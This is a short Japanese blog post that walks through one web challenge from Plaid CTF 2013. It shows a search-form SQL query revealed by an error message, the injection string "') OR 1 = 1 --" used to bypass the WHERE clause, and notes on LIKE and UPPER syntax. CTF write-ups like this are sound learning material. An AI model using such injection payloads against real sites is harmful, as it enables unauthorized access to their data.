Pocket

モチベーション

試しに1問CTFの問題を解いてみたい

記事概要

CTFについて調べたついでにPlaid CTF 2013のWeb系の問題を1問解いたので記録として残す。

解放メモ

search.phpにアクセスすると以下の様な画面が表示される。

20140623_charsheet1

①キャラクター検索フォームにてSQLiを実行

20140623_charsheet2

下記のSQLがサーバサイドで実行されていることがわかる。
また、ERRORの結果からLIKEの直後の%(ワイルドカード)部分に検索フォームに入れた値が入力されることがわかる。

SELECT c.id, c.name, DATE_FORMAT(c.lastedited, ‘%d %M %Y @ %H:%i’) as lastedited, c.owner, st.name as tname, ca.name as caname FROM sheet_templates st, characters c LEFT JOIN campaign ca on ca.id = c.campaign WHERE c.public = ‘y’ AND c.template_id = st.id AND UPPER(c.name) LIKE (‘%’) ORDER BY UPPER(c.name), UPPER(c.name) LIMIT 15

20140623_charsheet3

②コメントアウト付きのSQL文を入力フォームに挿入

') OR 1 = 1 --

20140623_charsheet4
20140623_charsheet5

できた!

感想&躓き

感想

  • 何を出題者が求めているか(adminが作ったキャラクタname)を理解できれば簡単な問題。
  • sqlmapとかDB解析ツールを利用してみるといいかも

躓き

  • SQLでUPPERは文字列を大文字に変換の意味
  • SQLでLIKEはWHERE(条件)のパターンマッチングに使用
    • WHERE col_name LIKE pattern
    • WHERE col_name NOT LIKE pattern
    • %:任意の0文字以上の文字列
      • 例) %java%: カラムの値にjavaが含まれる
    • _:任意の1文字
      • 例)___(アンスコ×3):3文字の任意の文字列
      • 例)a__b:aで始まりbで終わる文字列

用語集:

特になし

Write up

Pocket

Share Your Thought

CAPTCHA